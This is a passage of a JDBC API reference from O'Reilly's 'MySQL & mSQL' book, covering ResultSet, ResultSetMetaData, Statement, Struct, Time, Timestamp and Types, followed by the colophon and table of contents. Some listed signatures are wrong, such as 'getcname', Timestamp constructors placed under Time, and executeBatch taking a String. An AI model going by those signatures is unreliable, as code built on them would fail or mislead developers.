    #InputStream getUnicodeStream(int index)
        throws SQLException;
    #InputStream getUnicodeStream(String cname)
        throws SQLException;
    SQLWarning getWarnings() throws SQLException;
    void insertRow() throws SQLException;
    boolean isAfterLast() throws SQLException;
    boolean isBeforeFirst() throws SQLException;
    boolean isFirst() throws SQLException;
    boolean isLast() throws SQLException;
    boolean last() throws SQLException;
    void moveToCurrentRow() throws SQLException;
    void moveToInsertRow() throws SQLException;
    boolean next() throws SQLException;
    boolean previous() throws SQLException;
    void refreshRow() throws SQLException;
    boolean relative(int rows) throws SQLException;
    boolean rowDeleted() throws SQLException;
    boolean rowInserted() throws SQLException;
    boolean rowUpdated() throws SQLException;
    void setFetchDirection(int dir) throws SQLException;
    void setFetchSize(int rows) throws SQLException;
    void updateAsciiStream(int index, InputStream is,
        int length) throws SQLException;
    void updateAsciiStream(String cname, InputStream is,
        int length) throws SQLException;
    void updateBigDecimal(int index, BigDecimal d)
        throws SQLException;
    void updateBigDecimal(String cname, BigDecimal d)
        throws SQLException;
    void updateBinaryStream(int index, InputStream is)
        throws SQLException;
    void updateBinaryStream(String cname, InputStream is)
        throws SQLException;
    void updateBoolean(int index, boolean b)
        throws SQLException;
    void updateBoolean(String cname, boolean b)
        throws SQLException;
    void updateByte(int index, byte b)
        throws SQLException;
    void updateByte(String cname, byte b)
        throws SQLException;
    void updateBytes(int index, byte[] bts)
        throws SQLException;
    void updateBytes(String cname, byte[] bts)
        throws SQLException;
    void updateCharacterStream(int index, Reader rdr,
        int length) throws SQLException;
    void updateCharacterStream(String cname, Reader rdr,
        int length) throws SQLException;
    void updateDate(int index, Date d)
        throws SQLException;
    void updateDate(String cname, Date d)
        throws SQLException;
    void updateDouble(int index, double d)
        throws SQLException;
    void updateDouble(String cname, double d)
        throws SQLException;
    void updateFloat(int index, float f)
        throws SQLException;
    void updateFloat(String cname, float f)
        throws SQLException;
    void updateInt(int index, int x) throws SQLException;
    void updateInt(String cname, int x)
        throws SQLException;
    void updateLong(int index, long x)
        throws SQLException;
    void updateLong(String cname, long x)
        throws SQLException;
    void updateNull(int index) throws SQLException;
    void updateNull(String cname) throws SQLException;
    void updateObject(int index, Object ob)
        throws SQLException;
    void updateObject(int index, Object ob, int scale)
    void updateObject(String cname, Object ob)
        throws SQLException;
    void updateObject(String cname, Object ob, int scale)
        throws SQLException;
    void updateRow() throws SQLException;
    void updateShort(int index, short s)
        throws SQLException;
    void updateShort(String cname, short s)
        throws SQLException;
    void updateString(int index, String str)
        throws SQLException;
    void updateString(String cname, String str)
        throws SQLException;
    void updateTime(int index, Time t)
        throws SQLException;
    void updateTime(String cname, Time t)
        throws SQLException;
    void updateTimestamp(int index, Timestamp ts)
        throws SQLException;
    void updateTimestamp(String cname, Timestamp ts)
        throws SQLException;
    boolean wasNull() throws SQLException;
}

Class Attributes

CONCUR_READ_ONLY
static public final int CONCUR_READ_ONLY

Description: The concurrency mode that specifies that a result set may not be updated.

CONCUR_UPDATABLE
static public final int CONCUR_UPDATABLE

Description: The concurrency mode that specifies that a result set is updatable.

FETCH_FORWARD
static public final int FETCH_FORWARD

Description: This value specifies that a result set's fetch direction is in the forward direction, from first to last.

FETCH_REVERSE
static public final int FETCH_REVERSE

Description: This value specifies that a result set's fetch direction is in the reverse direction, from last to first.

FETCH_UNKNOWN
static public final int FETCH_UNKNOWN

Description: This value specifies that the order of result set processing is unknown.

TYPE_FORWARD_ONLY
static public final int TYPE_FORWARD_ONLY

Description: This result set type specifies that a result set can only be navigated in the forward direction.

TYPE_SCROLL_INSENSITIVE
static public final int TYPE_SCROLL_INSENSITIVE

Description: This result set type specifies that a result set may be navigated in any direction, but it is not sensitive to changes made by others.

TYPE_SCROLL_SENSITIVE
static public final int TYPE_SCROLL_SENSITIVE

Description: This result set type specifies that a result set may be navigated in any direction and that changes made by others will be seen in the result set.

Object Methods

absolute( )
public boolean absolute(int row) throws SQLException

Description: This method moves the cursor to the specified row number starting from the beginning for a positive number or from the end for a negative number.

afterLast( )
public void afterLast() throws SQLException

Description: This method moves the cursor to the end of the result set, after the last row.

beforeFirst( )
public void beforeFirst() throws SQLException

Description: Moves the cursor to the beginning of the result set, before the first row.

cancelRowUpdates( )
public void cancelRowUpdates() throws SQLException

Description: Cancels any updates made to this row.

clearWarnings( )
public void clearWarnings() throws SQLException

Description: Clears all warnings from the SQLWarning chain. Subsequent calls to getWarnings() then returns null until another warning occurs.

close( )
public void close() throws SQLException

Description: Performs an immediate, manual close of the ResultSet. This is generally never required, as the closure of the Statement associated with the ResultSet will automatically close the ResultSet.

deleteRow( )
public void deleteRow() throws SQLException

Description: Deletes the current row from this result set and from the database.

findColumn( )
public int findColumn(String cname) throws SQLException

Description: For the specified column name, this method will return the column number associated with it.

first( )
public boolean first() throws SQLException

Description: Moves the cursor to the first row of a result set.

getAsciiStream( ), getBinaryStream( ), getCharacterStream( ), and getUnicodeStream( )
public InputStream getAsciiStream(int index)
    throws SQLException
public InputStream getAsciiStream(String cname)
    throws SQLException
public InputStream getBinaryStream(int index)
    throws SQLException
public InputStream getBinaryStream(String cname)
    throws SQLException
public Reader getCharacterStream(int index)
    throws SQLException
public Reader getCharacterStream(String cname)
    throws SQLException
#public InputStream getUnicodeStream(int index)
    throws SQLException
#public InputStream getUnicodeStream(String cname)
    throws SQLException

Description: In some cases, it may make sense to retrieve large pieces of data from the database as a Java InputStream. These methods allow an application to retrieve the specified column from the current row in this manner. You should notice that the getUnicodeStream() method has been deprecated in favor of the new getCharacterStream() method.

getArray( ), getBlob( ), getBoolean( ), getByte( ), getBytes( ), getClob( ), getDate( ), getDouble( ), getFloat( ), getInt( ), getLong( ), getRef( ), getShort( ), getString( ), getTime( ), and getTimestamp( )
public Array getArray(int index) throws SQLException
public Array getArray(String cname) throws SQLException
public Blob getBlob(int index) throws SQLException
public Blob getBlob(String cname) throws SQLException
public boolean getBoolean(int index) throws SQLException
public boolean getBoolean(String cname) throws SQLException
public byte getByte(int index) throws SQLException
public byte getByte(String cname) throws SQLException
public byte[] getBytes(int index) throws SQLException
public byte[] getBytes(String cname) throws SQLException
public Clob getClob(int index) throws SQLException
public Clob getClob(String cname) throws SQLException
public Date getDate(int index) throws SQLException
public Date getDate(String cname) throws SQLException
public double getDouble(int index) throws SQLException
public double getDouble(String cname) throws SQLException
public float getFloat(int index) throws SQLException
public float getFloat(String cname) throws SQLException
public int getInt(int index) throws SQLException
public int getInt(String cname) throws SQLException
public long getLong(int index) throws SQLException
public long getLong(String cname) throws SQLException
public Ref getRef(int index) throws SQLException
public Ref getRef(String cname) throws SQLException
public short getShort(int index) throws SQLException
public short getShort(String cname) throws SQLException
public String getString(int index) throws SQLException
public String getString(String cname) throws SQLException
public Time getTime(int index) throws SQLException
public Time getTime(String cname) throws SQLException
public Timestamp getTimestamp(int index)
    throws SQLException
public Timestamp getTimestamp(String cname)
    throws SQLException

Description: These methods return the specified column value for the current row as the Java datatype that matches the method name.

getConcurrency( ), and setConcurrency( )
public int getConcurrency() throws SQLException

Description: These methods access the result set concurrency mode. It initially takes its value from the statement that generated this result set.

getCursorName( )
public String getCursorName() throws SQLException

Description: Because some databases allow positioned updates, an application needs the cursor name associated with a ResultSet in order to perform those positioned updates. This method provides the cursor name.

getMetaData( )
public ResultSetMetaData getMetaData() throws SQLException

Description: Provides the meta-data object for this ResultSet.

getFetchDirection( ), setFetchDirection( ), getFetchSize( ), and setFetchSize( )
public int getFetchDirection() throws SQLException
public void setFetchDirection(int dir) throws SQLException
public int getFetchSize() throws SQLException
public void setFetchSize(int rows) throws SQLException

Description: These methods provide optimization hints for the driver. The driver is free to ignore these hints. The fetch size is the suggested number of rows the driver should prefetch for each time it grabs data from the database. The direction is a hint to the driver about the direction in which you intend to work.

getObject( )
public Object getObject(int index) throws SQLException
public Object getObject(int index, Map map)
    throws SQLException
public Object getObject(String cname) throws SQLException
public Object getObject(String cname, Map map)
    throws SQLException

Description: Returns the specified column value for the current row as a Java object. The type returned will be the Java object that most closely matches the SQL type for the column. It is also useful for columns with database-specific datatypes.

getRow( )
public int getRow() throws SQLException

Description: Returns the current row number.

getStatement( )
public Statement getStatement() throws SQLException

Description: Returns the Statement instance that generated this result set.

getType( )
public int getType() throws SQLException

Description: Returns the result set type for this result set.

getWarnings( )
public SQLWarning getWarnings() throws SQLException

Description: Returns the first SQLWarning object in the warning chain.

insertRow( )
public void insertRow() throws SQLException

Description: Inserts the contents of the insert row into the result set and into the database.

isAfterLast( )
public boolean isAfterLast() throws SQLException

Description: Returns true if this result set is positioned after the last row in the result set.

isBeforeLast( )
public boolean isBeforeFirst() throws SQLException

Description: Returns true if this result set is positioned before the first row in the result set.

isFirst( )
public boolean isFirst() throws SQLException

Description: Returns true if the result set is positioned on the first row of the result set.

isLast( )
public boolean isLast() throws SQLException

Description: Returns true if result set is positioned after the last row in the result set.

last( )
public boolean last() throws SQLException

Description: Moves the cursor to the last row in the result set.

moveToCurrentRow( )
public void moveToCurrentRow() throws SQLException

Description: Moves the result set to the current row. This is used after you are done inserting a row.

moveToInsertRow( )
public void moveToInsertRow() throws SQLException

Description: Moves the result to a new insert row. You need to call moveToCurrentRow() to get back.

next( ) and previous( )
public boolean next() throws SQLException
public boolean previous() throws SQLException

Description: These methods navigate one row forward or one row backward in the ResultSet. Under a newly created result set, the result set is positioned before the first row. The first call to next() would thus move the result set to the first row. These methods return true as long as there is a row to move to. If there are no further rows to process, it returns false. If an InputStream from the previous row is still open, it is closed. The SQLWarning chain is also cleared.

refreshRow( )
public void refreshRow() throws SQLException

Description: Refreshes the current row with its most recent value from the database.

relative( )
public boolean relative(int rows) throws SQLException

Description: Moves the cursor the specified number of rows forwards or backwards. A positive number indicates that the cursor should be moved forwards and a negative number indicates it should be moved backwards.

rowDeleted( ), rowInserted( ), and rowUpdated( )
public boolean rowDeleted() throws SQLException
public boolean rowInserted() throws SQLException
public boolean rowUpdated() throws SQLException

Description: Returns true if the current row has been deleted, inserted, or updated.

updateAsciiStream( ), updateBigDecimal( ), updateBinaryStream( ), update- Boolean( ), updateByte( ), updateBytes( ), updateCharacterStream( ), updateDate( ), updateDouble( ), updateFloat( ), updateInt( ), updateLong( ), updateNull( ), update- Object( ), updateShort( ), updateString( ), updateTime( ), and updateTimestamp( )
public void updateAsciiStream(int index, InputStream is,
    int length) throws SQLException
public void updateAsciiStream(String cname, InputStream is,
    int length) throws SQLException
public void updateBigDecimal(int index, BigDecimal d)
    throws SQLException
public void updateBigDecimal(String cname, BigDecimal d)
    throws SQLException
public void updateBinaryStream(int index, InputStream is)
    throws SQLException
public void updateBinaryStream(String cname, InputStream is)
    throws SQLException
public void updateBoolean(int index, boolean b)
    throws SQLException
public void updateBoolean(String cname, boolean b)
    throws SQLException
public void updateByte(int index, byte b)
    throws SQLException
public void updateByte(String cname, byte b)
    throws SQLException
public void updateBytes(int index, byte[] bts)
    throws SQLException
public void updateBytes(String cname, byte[] bts)
    throws SQLException
public void updateCharacterStream(int index, Reader rdr,
    int length) throws SQLException
public void updateCharacterStream(String cname, Reader rdr,
    int length) throws SQLException
public void updateDate(int index, Date d)
    throws SQLException
public void updateDate(String cname, Date d)
    throws SQLException
public void updateDouble(int index, double d)
    throws SQLException
public void updateDouble(String cname, double d)
    throws SQLException
public void updateFloat(int index, float f)
    throws SQLException
public void updateFloat(String cname, float f)
    throws SQLException
public void updateInt(int index, int x)
    throws SQLException
public void updateInt(String cname, int x)
    throws SQLException
public void updateLong(int index, long x)
    throws SQLException
public void updateLong(String cname, long x)
    throws SQLException
public void updateNull(int index) throws SQLException
public void updateNull(String cname) throws SQLException
public void updateObject(int index, Object ob)
    throws SQLException
public void updateObject(int index, Object ob, int scale)
    throws SQLException
public void updateObject(String cname, Object ob)
    throws SQLException
public void updateObject(String cname, Object ob, int scale)
    throws SQLException
public void updateShort(int index, short s)
    throws SQLException
public void updateShort(String cname, short s)
    throws SQLException
public void updateString(int index, String str)
    throws SQLException
public void updateString(String cname, String str)
    throws SQLException
public void updateTime(int index, Time t)
    throws SQLException
public void updateTime(String cname, Time t)
    throws SQLException
public void updateTimestamp(int index, Timestamp ts)
    throws SQLException
public void updateTimestamp(String cname, Timestamp ts)
    throws SQLException

Description: These methods update column by column in the current row of your result set as long as your result set supports updating. Once you are done modifying the row, you can call insertRow() or updateRow() to save the changes to the database.

updateRow( )
public void updateRow() throws SQLException

Description: Updates any changes made to the current row to the database.

wasNull( )
public boolean wasNull() throws SQLException

Description: This method returns true if the last column read was null; otherwise it returns false.

ResultSetMetaData

Synopsis

Class Name: java.sql.ResultSetMetaData

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class provides meta-information about the types and properties of the columns in a ResultSet instance.

Class Summary

public interface ResultSetMetaData {
    static public final int columnNoNulls;
    static public final int columnNullable;
    static public final int columnNullableUnknown;
    String getCatalogName(int index)
        throws SQLException;
    String getColumnClassName(int index)
        throws SQLException;
    public int getColumnCount() throws SQLException;
    public int getColumnDisplaySize(int index)
        throws SQLException;
    public String getColumnLabel(int index)
        throws SQLException;
    public String getColumnName(int index)
        throws SQLException;
    public int getColumnType(int index) throws SQLException;
    public String getColumnTypeName(int index)
        throws SQLException;
    public int getPrecision(int index) throws SQLException;
    public int getScale(int index) throws SQLException;
    public String getSchemaName(int index)
        throws SQLException;
    public String getTableName(int index)
        throws SQLException;
    public boolean isAutoIncrement(int index)
        throws SQLException;
    public isCaseSensitive(int index)
        throws SQLException;
    public boolean isCurrency(int index)
        throws SQLException;
    public boolean isDefinitelyWritable(int index)
        throws SQLException;
    public int isNullable(int index) throws SQLException;
    public boolean isReadOnly(int index)
        throws SQLException;
    public boolean isSearchable(int index)
        throws SQLException;
    public boolean isSigned(int index) throws SQLException;
    public boolean isWritable(int index)
        throws SQLException;
}

Class Attributes

columnNoNulls
static public final int columnNoNulls

Description: The column in question does not allow NULL values.

columnNullable
static public final int columnNullable

Description: The column in question allows NULL values.

columnNullableUnknown
static public final int columnNullableUnknown

Description: It is not known if the column in question can accept NULL values.

Object Methods

getCatalogName( )
public String getCatalogName(int index) throws SQLException

Description: Provides the catalog name associated with the specified column's table.

getColumnClassName( )
public String getColumnClassName(int index)
    throws SQLException

Description: Provides the fully-qualified name of the Java class that will be instantiated by a call to ResultSet.getObject() for this column.

getColumnCount( )
public int getColumnCount() throws SQLException

Description: Returns the number of columns in the result set.

getColumnDisplaySize( )
public int getColumnDisplaySize(int column)
    throws SQLException

Description: Returns the maximum width for displaying the column's values.

getColumnLabel( )
public String getColumnLabel(int column) throws SQLException

Description: Returns the display name for the column.

getColumnName( )
public String getcname(int column) throws SQLException

Description: Returns the database name for the column.

getColumnType( )
public int getColumnType(int column) throws SQLException

Description: Returns the SQL type for the specified column as a value from java.sql.Types.

getColumnTypeName( )
public String getColumnTypeName(int column)
    throws SQLException

Description: Returns the name of the SQL type for the specified column.

getPrecision( )
public int getPrecision(int column) throws SQLException

Description: Returns the number of decimal digits for the specified column.

getScale( )
public int getScale(int column) throws SQLException

Description: Returns the number of digits to the right of the decimal for this column.

getSchemaName( )
public String getSchemaName(int column) throws SQLException

Description: Returns the schema for the table for the specified column.

getTableName( )
public String getTableName(int column) throws SQLException

Description: Returns the name of the table for the specified column.

isAutoIncrement( )
public boolean isAutoIncrement(int column) throws SQLException

Description: Returns true if the column is automatically numbered and therefore read-only.

isCaseSensitive( )
public boolean isCaseSensitive(int column) throws SQLException

Description: Returns true if the column's case is important.

isCurrency( )
public boolean isCurrency(int column) throws SQLException

Description: Returns true if the value for the specified column represents a currency value.

isDefinitelyWritable( )
public boolean isDefinitelyWritable(int column)
    throws SQLException

Description: Returns true if a write operation on the column will definitely succeed.

isNullable( )
public int isNullable(int column) throws SQLException

Description: Returns true if null values are allowed for the column.

isReadOnly( )
public boolean isReadOnly(int column) throws SQLException

Description: Returns true if the column is read-only.

isSearchable( )
public boolean isSearchable(int column) throws SQLException

Description: Returns true if the column may be used in a WHERE clause.

isSigned( )
public boolean isSigned(int column) throws SQLException

Description: Returns true if the column contains a signed number.

isWritable( )
public boolean isWritable(int column) throws SQLException

Description: Returns true if it is possible for a write on a column to succeed.

Statement

Synopsis

Class Name: java.sql.Statement

Superclass: None

Immediate Subclasses: java.sql.PreparedStatement

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class represents an embedded SQL statement and is used by an application to perform database access. The closing of a Statement automatically closes any open ResultSet associated with the Statement.

Class Summary

public interface Statement {
    void addBatch(String sql) throws SQLException;
    void cancel() throws SQLException;
    void clearBatch() throws SQLException;
    void clearWarnings() throws SQLException;
    void close() throws SQLException;
    boolean execute(String sql) throws SQLException;
    int[] executeBatch() throws SQLException;
    ResultSet executeQuery(String sql)
        throws SQLException;
    int executeUpdate(String sql) throws SQLException;
    Connection getConnection() throws SQLException;
    int getFetchDirection() throws SQLException;
    int getFetchSize() throws SQLException;
    int getMaxFieldSize() throws SQLException;
    int getMaxRows() throws SQLException;
    boolean getMoreResults() throws SQLException;
    int getQueryTimeout() throws SQLException;
    ResultSet getResultSet() throws SQLException;
    int getResultSetConcurrency() throws SQLException;
    int getResultSetType() throws SQLException;
    int getUpdateCount() throws SQLException;
    SQLWarning getWarnings() throws SQLException;
    void setCursorName(String name) throws SQLException;
    void setEscapeProcessing(boolean enable)
        throws SQLException;
    void setFetchDirection(int dir) throws SQLException;
    void setFetchSize(int rows) throws SQLException;
    void setMaxFieldSize(int max) throws SQLException;
    void setMaxRows(int max) throws SQLException;
    void setQueryTimeout(int seconds)
        throws SQLException;
}

Object Methods

addBatch( )
public void addBatch(String sql) throws SQLException

Description: Adds the specified SQL statement to the current set of batch commands.

cancel( )
public void cancel() throws SQLException

Description: In a multithreaded environment, you can use this method to indicate that any processing for this Statement should be canceled. In this respect, it is similar to the stop() method for Thread objects.

clearBatch( )
public void clearBatch() throws SQLException

Description: Clears out any batch statements.

clearWarnings( ) and getWarnings( )
public void clearWarnings() throws SQLException
public SQLWarning getWarnings() throws SQLException

Description: The clearWarnings() method allows you to clear all warnings from the warning chain associated with this class. The getWarnings() method retrieves the first warning on the chain. You can retrieve any subsequent warnings on the chain using that first warning.

close( )
public void close() throws SQLException

Description: Manually closes the Statement. This is generally not required because a Statement is automatically closed whenever the Connection associated with it is closed.

execute( ), executeQuery( ), and executeUpdate( )
public boolean execute(String sql) throws SQLException
public ResultSet executeQuery(String sql) throws SQLException
public int executeUpdate(String sql) throws SQLException

Description: Executes the Statement by passing the specified SQL to the database. The first method, execute(), allows you to execute the Statement when you do not know if it is a query or an update. It will return true if the statement has result sets to process.

The executeQuery() method is used for executing queries. It returns a result set for processing.

The executeUpdate() statement is used for executing updates. It returns the number of rows affected by the update.

executeBatch( )
public int[] executeBatch(String sql) throws SQLException

Description: Submits the batched list of SQL statements to the database for execution. The return value is an array of numbers that describe the number of rows affected by each SQL statement.

getConnection( )
public Connection getConnection() throws SQLException

Description: Returns the Connection object associated with this Statement.

getFetchDirection( ), setFetchDirection( ), getFetchSize( ), and setFetchSize( )
public int getFetchDirection() throws SQLException
public void setFetchDirection(int dir) throws SQLException
public int getFetchSize() throws SQLException
public void setFetchSize(int rows) throws SQLException

Description: These methods provide optimization hints for the driver. The driver is free to ignore these hints. The fetch size is the suggested number of rows the driver should prefetch for each time it grabs data from the database. The direction is a hint to the driver about the direction in which you intend to work.

getMaxFieldSize( ) and setMaxFieldize( )
public int getMaxFieldSize() throws SQLException
public void setMaxFieldSize(int max) throws SQLException

Description: These methods support the maximum field size attribute that determines the maximum amount of data for any BINARY, VARBINARY, LONGVARBINARY, CHAR, VARCHAR, and LONGVARCHAR column value. If the limit is exceeded, the excess is silently discarded.

getMaxRows( ) and setMaxRows( )
public int getMaxRows() throws SQLException
public void setMaxRows(int max) throws SQLException

Description: This attribute represents the maximum number of rows a ResultSet can contain. If this number is exceeded, then any excess rows are silently discarded.

getMoreResults( )
public boolean getMoreResults() throws SQLException

Description: This method moves to the next result and returns true if that result is a ResultSet. Any previously open ResultSet for this Statement is then implicitly closed. If the next result is not a ResultSet or if there are no more results, this method will return false. You can test explicitly for no more results using:

(!getMoreResults() && (getUpdateCount() == -1)
getQueryTimeout( ) and setQueryTimeout( )
public int getQueryTimeout() throws SQLException
public void setQueryTimeout(int seconds) throws SQLException

Description: This attribute is the amount of time a driver will wait for a Statement to execute. If the limit is exceeded, an SQLException is thrown.

getResultSet( )
public ResultSet getResultSet() throws SQLException

Description: This method returns the current ResultSet. You should call this only once per result. You never need to call this for executeQuery() calls that return a single result.

getResultSetConcurrency( )
public int getResultSetConcurrency() throws SQLException

Description: Returns the concurrency for the result sets generated by this Statement.

getResultSetType( )
public int getResultSetType() throws SQLException

Description: Returns the result set type for any result sets generated by this Statement.

getUpdateCount( )
public int getUpdateCount() throws SQLException

Description: If the current result was an update, this method returns the number of rows affected by the update. If the result is a ResultSet or if there are no more results, -1 is returned. As with getResultSet(), this method should only be called once per result.

getWarnings( )
public SQLWarning getWarnings() throws SQLException

Description: Retrieves the first warning associated with this object.

setCursorName( )
public void setCursorName(String name) throws SQLException

Description: This method specifies the cursor name to be used by subsequent Statement executions. For databases that support positioned updates and deletes, you can then use this cursor name in coordination with any ResultSet objects returned by your execute() or executeQuery() calls to identify the current row for a positioned update or delete. You must use a different Statement object to perform those updates or deletes. This method does nothing for databases that do not support positioned updates or deletes.

setEscapeProcessing( )
public void setEscapeProcessing(boolean enable)
        throws SQLException

Description: Escape processing is on by default. When enabled, the driver will perform escape substitution before sending SQL to the database.

Struct

Synopsis

Class Name: java.sql.Struct

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.2

Description

This class maps to a SQL3 structured type. A Struct instance has values that map to each of the attributes in its associated structured value in the database.

Class Summary

public interface Struct {
    Object[] getAttributes() throws SQLException;
    Object[] getAttributes(Map map) throws SQLException;
    String getSQLTypeName() throws SQLException;
}

Object Methods

getAttributes( )
public Object[] getAttributes() throws SQLException
public Object[] getAttributes(Map map) throws SQLException

Description: Provides the values for the attributes in the SQL structured type in order. If you pass a type map, it will use that type map to construct the Java values.

getSQLTypeName( )
public String getSQLTypeName() throws SQLException

Description: Provides the SQL type name for this structured type.

Time

Synopsis

Class Name: java.sql.Time

Superclass: java.util.Date

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This version of the java.util.Date class maps to an SQL TIME datatype.

Class Summary

public class Time extends java.util.Date {
    static public Time valueOf(String s);
    public Time(int hour, int minute, int second);
    public Time(long time);
    #public int getDate();
    #public int getDay();
    #public int getMonth();
    #public int getYear();
    #public int setDate(int i);
    #public int setMonth(int i);
    public void setTime(long time);
    #public void setYear(int i);
    public String toString();
}

Object Constructors

Time( )
public Timestamp(int hour, int minute, intsecond)
public Timestamp(long time)

Description: Constructs a new Time object. The first prototype constructs a Time for the hour, minute, and seconds specified. The second constructs one based on the number of seconds since 12:00:00 January 1, 1970 GMT.

Object Methods

getDate( ), setDate( ), getDay( ), getMonth( ), setMonth( ), getYear( ), and setYear( )
#public int getDate()
#public int getDay()
#public int getMonth()
#public int getYear()
#public int setDate(int i)
#public int setMonth(int i)
#public void setYear(int i)

Description: These attributes represent the individual segments of a Time object.

setTime( )
public void setTime(long time)

Description: This method sets the Time object to the specified time as the number of seconds since 12:00:00 January 1, 1970 GMT.

toString( )
public String toString()

Description: Formats the Time into a String in the form of hh:mm:ss.

valueOf( )
static public Timestamp valueOf(String s)

Description: Create a new Time based on a String in the form of hh:mm:ss.

Timestamp

Synopsis

Class Name: java.sql.Timestamp

Superclass: java.util.Date

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class serves as an SQL representation of the Java Date class specifically designed to serve as an SQL TIMESTAMP. It also provides the ability to hold nanoseconds as required by SQL TIMESTAMP values. You should keep in mind that this class uses the java.util.Date version of hashcode(). This means that two timestamps that differ only by nanoseconds will have identical hashcode() return values.

Class Summary

public class Timestamp extends java.util.Date {
    static public Timestamp valueOf(String s);
    #public Timestamp(int year, int month, int date,
        int hour, int minute, int second, int nano);
    public Timestamp(long time);
    public boolean after(Timestamp t);
    public boolean before(Timestamp t);
    public boolean equals(Timestamp t);
    public int getNanos();
    public void setNanos(int n);
    public String toString();
}

Object Constructors

Timestamp( )
#public Timestamp(int year, int month, int date, int hour, int minute,
        int second, int nano)
public Timestamp(long time)

Description: Constructs a new Timestamp object. The first prototype constructs a Timestamp for the year, month, date, hour, minute, seconds, and nanoseconds specified. The second prototype constructs one based on the number of seconds since 12:00:00 January 1, 1970 GMT.

Object Methods

after( )
public boolean after(Timestamp t)

Description: Returns true if this Timestamp is later than the argument.

before( )
public boolean before(Timestamp t)

Description: Returns true if this Timestamp is earlier than the argument.

equals( )
public boolean equals(Timestamp t)

Description: Returns true if the two timestamps are equivalent.

getNanos( ) and setNanos( )
public int getNanos()
public void setNanos(int n)

Description: This attribute represents the number of nanoseconds for this Timestamp.

toString( )
public String toString()

Description: Formats the Timestamp into a String in the form of yyyy-mm-dd hh:mm:ss.fffffffff.

valueOf( )
static public Timestamp valueOf(String s)

Description: Creates a new Timestamp based on a String in the form of yyyy-mm-dd hh:mm:ss.fffffffff.

Types

Synopsis

Class Name: java.sql.Types

Superclass: java.lang.Object

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

This class holds static attributes representing SQL data types. These values are the actual constant values defined in the XOPEN specification.

Class Summary

public class Types {
    static public final int ARRAY;
    static public final int BIGINT;
    static public final int BINARY;
    static public final int BIT;
    static public final int BLOB;
    static public final int CHAR;
    static public final int CLOB;
    static public final int DATE;
    static public final int DECIMAL;
    static public final int DISTINCT;
    static public final int DOUBLE;
    static public final int FLOAT;
    static public final int INTEGER;
    static public final int JAVA_OBJECT;
    static public final int LONGVARBINARY;
    static public final int LONGVARCHAR;
    static public final int NULL;
    static public final int NUMERIC;
    static public final int OTHER;
    static public final int REAL;
    static public final int REF;
    static public final int SMALLINT;
    static public final int STRUCT;
    static public final int TIME;
    static public final int TIMESTAMP;
    static public final int TINYINT;
    static public final int VARBINARY;
    static public final int VARCHAR;
}
Previous | Home | Next
21.4. Mysql.pm API | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (MySQL & mSQL)

 MySQL and mSQLSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animals featured on the cover of MySQL and mSQL are kingfishers. This type of bird can be found all over the world, including North America, Europe, Africa, and New Zealand, with the greatest numbers being found in southeast Asia. There are over 80 species of kingfishers, which range in size from five to eighteen inches and which cover a broad spectrum of color.

These typically long-billed birds pair for life and are considered to be very territorial. Their nests are long and tunnel-shaped, and are often found in exposed tree roots or water banks. Most kingfishers live along the banks of rivers or lakes, as the primary staple of their diet is fish. To catch its prey, a kingfisher will perch on a branch above water, watch for a fish, hover for a moment, and then dive headfirst into the water, grabbing the fish in its beak, and heading back up to the surface. The process takes about a third of a second. The kingfisher's diet also consists of spiders, insects, and small amphibians.

Jeffrey Liggett was the production editor for MySQL and mSQL. Robert Romano and Rhon Porter created the illustrations using Adobe Photoshop 5.0 and Macromedia Freehand 8.0. Mike Sierra provided FrameMaker technical support. Claire Cloutier LeBlanc provided quality control. Editorial and production services were provided by Rashelle Perez and David Leiser at Electro-Publishing. Becky Peveler was the copyeditor. The index was written by Electro-Publishing, with assistance from Seth Maislin.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive. The cover layout was produced by Kathleen Wilson with QuarkXPress 3.32 using the ITC Garamond font.

The inside layout was designed by Alicia Cech based on a series design by Nancy Priest. The layout was implemented in FrameMaker 5.5.6 by Mike Sierra. The text and heading fonts are ITC Garamond Light and Garamond Book. This colophon was written by Nicole Arigo.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


(MySQL & mSQL)

 MySQL and mSQLSearch this book

Copyright © 1999 O'Reilly & Associates, Inc. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

Java [image] and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the image of kingfishers in association with MySQL and mSQL is a trademark of O'Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | 0. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL & mSQL

By Randy Jay Yarger, George Reese, and Tim King
ISBN 1-56592-434-7
First edition, published July 1999
(See the catalog page for this book.)

Search the text of MySQL & mSQL.

Table of Contents

Copyright Page
Preface

Part 1: Getting Started with MySQL and mSQL

Chapter 1: Introduction to Relational Databases
Chapter 2: Database Design
Chapter 3: Installation
Chapter 4: MySQL
Chapter 5: mSQL
Chapter 6: SQL According to MySQL and mSQL
Chapter 7: Other Mid-Range Database Engines

Part 2: Database Programming

Chapter 8: Database Application Architectures
Chapter 9: CGI Programming
Chapter 10: Perl
Chapter 11: Python
Chapter 12: PHP and Other Support for Database-driven HTML
Chapter 13: C and C++
Chapter 14: Java and JDBC

Part 3: Reference

Chapter 15: SQL Reference
Chapter 16: MySQL and mSQL System Variables
Chapter 17: MySQL and mSQL Programs and Utilities
Chapter 18: PHP and Lite Reference
